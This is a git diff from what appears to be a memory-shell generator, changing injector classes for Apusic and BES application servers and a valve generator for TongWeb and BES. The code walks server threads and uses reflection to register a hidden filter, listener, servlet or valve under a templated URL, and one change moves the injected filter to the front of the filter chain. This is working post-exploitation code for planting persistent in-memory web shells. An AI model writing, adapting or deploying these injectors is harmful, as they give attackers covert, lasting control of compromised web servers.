public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
public static final String CATALINA_VALVE_PACKAGE = "org.apache.catalina";
|
||||||
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
public static final String BES_VALVE_PACKAGE = "com.bes.enterprise.webtier";
|
||||||
@@ -30,9 +46,15 @@ public class ValveGenerator {
|
|||||||
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
public static final String TONGWEB7_VALVE_PACKAGE = "com.tongweb.catalina";
|
||||||
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
public static final String TONGWEB8_VALVE_PACKAGE = "com.tongweb.server";
|
||||||
|
|
||||||
public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, AbstractServer shell, String serverVersion) {
|
||||||
String packageName = null;
|
String packageName = null;
|
||||||
if (serverVersion != null) {
|
if (shell instanceof Bes) {
|
||||||
|
packageName = BES_VALVE_PACKAGE;
|
||||||
|
}
|
||||||
|
if (shell instanceof TongWeb) {
|
||||||
|
if (serverVersion == null) {
|
||||||
|
throw new GenerationException("serverVersion is needed for TongWeb Valve, please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
|
}
|
||||||
switch (serverVersion) {
|
switch (serverVersion) {
|
||||||
case "6":
|
case "6":
|
||||||
packageName = TONGWEB6_VALVE_PACKAGE;
|
packageName = TONGWEB6_VALVE_PACKAGE;
|
||||||
@@ -43,19 +65,15 @@ public class ValveGenerator {
|
|||||||
case "8":
|
case "8":
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
packageName = TONGWEB8_VALVE_PACKAGE;
|
||||||
break;
|
break;
|
||||||
|
default:
|
||||||
|
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8'] for shellConfig.serverVersion");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (shell instanceof Bes) {
|
if (StringUtils.isNotBlank(packageName)) {
|
||||||
packageName = BES_VALVE_PACKAGE;
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
}
|
|
||||||
if (StringUtils.isEmpty(packageName)) {
|
|
||||||
if (shell instanceof TongWeb) {
|
|
||||||
throw new GenerationException("serverVersion is needed for TongWeb valve shell, please use 6/7/8 for shellConfig.serverVersion");
|
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
private final String newPackageName;
|
private final String newPackageName;
|
||||||
@@ -86,7 +104,7 @@ public class ValveGenerator {
|
|||||||
int readerFlags) {
|
int readerFlags) {
|
||||||
return new ClassRemapper(
|
return new ClassRemapper(
|
||||||
classVisitor,
|
classVisitor,
|
||||||
new Remapper() {
|
new Remapper(Opcodes.ASM9) {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
||||||
@@ -7,8 +7,8 @@ import java.io.PrintStream;
|
|||||||
import java.lang.reflect.Array;
|
import java.lang.reflect.Array;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
import java.util.LinkedHashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -19,7 +19,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicFilterInjector {
|
public class ApusicFilterInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -34,16 +35,21 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ApusicFilterInjector() {
|
public ApusicFilterInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -52,6 +58,7 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -74,11 +81,11 @@ public class ApusicFilterInjector {
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* context: com.apusic.web.container.WebContainer
|
* context: com.apusic.web.container.WebContainer
|
||||||
* context -> webapp: com.apusic.deploy.runtime.WebModule
|
* context - webapp: com.apusic.deploy.runtime.WebModule
|
||||||
* /usr/local/ass/lib/apusic.jar
|
* /usr/local/ass/lib/apusic.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
@@ -139,7 +146,12 @@ public class ApusicFilterInjector {
|
|||||||
Object filterMapping = filterMappingClass.newInstance();
|
Object filterMapping = filterMappingClass.newInstance();
|
||||||
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
|
LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
|
||||||
|
LinkedHashSet newSet = new LinkedHashSet();
|
||||||
|
newSet.add(filterMapping);
|
||||||
|
newSet.addAll(beforeFilterMappings);
|
||||||
|
beforeFilterMappings.clear();
|
||||||
|
beforeFilterMappings.addAll(newSet);
|
||||||
|
|
||||||
// addFilterModel
|
// addFilterModel
|
||||||
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
|
||||||
@@ -212,8 +224,7 @@ public class ApusicFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -230,12 +241,8 @@ public class ApusicFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,8 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -18,7 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicListenerInjector {
|
public class ApusicListenerInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -33,24 +33,30 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ApusicListenerInjector() {
|
public ApusicListenerInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[/*] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
msg += "failed " + getErrorMessage(e) + "\n";
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,8 +77,8 @@ public class ApusicListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
@@ -193,8 +199,7 @@ public class ApusicListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -211,12 +216,8 @@ public class ApusicListenerInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -6,8 +6,7 @@ import java.io.IOException;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.HashSet;
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
@@ -18,7 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ApusicServletInjector {
|
public class ApusicServletInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -33,16 +33,21 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public ApusicServletInjector() {
|
public ApusicServletInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -51,6 +56,7 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -71,8 +77,8 @@ public class ApusicServletInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("HouseKeeper")) {
|
if (thread.getName().contains("HouseKeeper")) {
|
||||||
@@ -194,8 +200,7 @@ public class ApusicServletInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -212,12 +217,8 @@ public class ApusicServletInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class BesFilterInjector {
|
public class BesFilterInjector {
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -30,16 +31,21 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public BesFilterInjector() {
|
public BesFilterInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[" + getUrlPattern() + "] ready\n";
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
@@ -48,6 +54,7 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -55,7 +62,7 @@ public class BesFilterInjector {
|
|||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
try {
|
try {
|
||||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
r = (String) getFieldValue(context, "encodedPath");
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
String c = context.getClass().getName();
|
String c = context.getClass().getName();
|
||||||
@@ -72,8 +79,8 @@ public class BesFilterInjector {
|
|||||||
* com.bes.enterprise.webtier.core.DefaultContext
|
* com.bes.enterprise.webtier.core.DefaultContext
|
||||||
* /opt/bes/lib/bes-engine.jar
|
* /opt/bes/lib/bes-engine.jar
|
||||||
*/
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -83,12 +90,22 @@ public class BesFilterInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
private ClassLoader getWebAppClassLoader(Object context) {
|
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
try {
|
try {
|
||||||
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -201,8 +218,7 @@ public class BesFilterInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
|
||||||
try {
|
|
||||||
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
Method method = null;
|
Method method = null;
|
||||||
while (clazz != null && method == null) {
|
while (clazz != null && method == null) {
|
||||||
@@ -219,12 +235,8 @@ public class BesFilterInjector {
|
|||||||
if (method == null) {
|
if (method == null) {
|
||||||
throw new NoSuchMethodException("Method not found: " + methodName);
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
}
|
}
|
||||||
|
|
||||||
method.setAccessible(true);
|
method.setAccessible(true);
|
||||||
return method.invoke(obj instanceof Class ? null : obj, param);
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
|
|||||||
@@ -15,7 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class BesListenerInjector {
|
public class BesListenerInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -26,16 +27,21 @@ public class BesListenerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public BesListenerInjector() {
|
public BesListenerInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
@@ -44,6 +50,7 @@ public class BesListenerInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
ok = true;
|
||||||
System.out.println(msg);
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -51,7 +58,7 @@ public class BesListenerInjector {
|
|||||||
private String getContextRoot(Object context) {
|
private String getContextRoot(Object context) {
|
||||||
String r = null;
|
String r = null;
|
||||||
try {
|
try {
|
||||||
r = (String) invokeMethod(context, "getContextPath", null, null);
|
r = (String) getFieldValue(context, "encodedPath");
|
||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
String c = context.getClass().getName();
|
String c = context.getClass().getName();
|
||||||
@@ -64,8 +71,8 @@ public class BesListenerInjector {
|
|||||||
return c + "(" + r + ")";
|
return c + "(" + r + ")";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public Set<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
@@ -75,6 +82,16 @@ public class BesListenerInjector {
|
|||||||
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
|
||||||
contexts.addAll(children.values());
|
contexts.addAll(children.values());
|
||||||
}
|
}
|
||||||
|
} else if (thread.getContextClassLoader() != null) {
|
||||||
|
String name = thread.getContextClassLoader().getClass().getSimpleName();
|
||||||
|
if (name.matches(".+WebappClassLoader")) {
|
||||||
|
Object resources = getFieldValue(thread.getContextClassLoader(), "resources");
|
||||||
|
// need WebResourceRoot not DirContext
|
||||||
|
if (resources != null && resources.getClass().getName().endsWith("Root")) {
|
||||||
|
Object context = getFieldValue(resources, "context");
|
||||||
|
contexts.add(context);
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return contexts;
|
return contexts;
|
||||||
|
|||||||
@@ -14,7 +14,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class BesValveInjector {
|
public class BesValveInjector {
|
||||||
|
|
||||||
private String msg = "";
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -25,16 +26,21 @@ public class BesValveInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public BesValveInjector() {
|
public BesValveInjector() {
|
||||||
List<Object> contexts = null;
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
try {
|
try {
|
||||||
contexts = getContext();
|
contexts = getContext();
|
||||||
} catch (Throwable throwable) {
|
} catch (Throwable throwable) {
|
||||||
msg += "context error: " + getErrorMessage(throwable);
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
}
|
}
|
||||||
if (contexts != null) {
|
if (contexts == null || contexts.isEmpty()) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
for (Object context : contexts) {
|
for (Object context : contexts) {
|
||||||
msg += ("context: [" + getContextRoot(context) + "] ");
|
|
||||||
try {
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
Object shell = getShell(context);
|
Object shell = getShell(context);
|
||||||
inject(context, shell);
|
inject(context, shell);
|
||||||
msg += "[/*] ready\n";
|
msg += "[/*] ready\n";
|
||||||
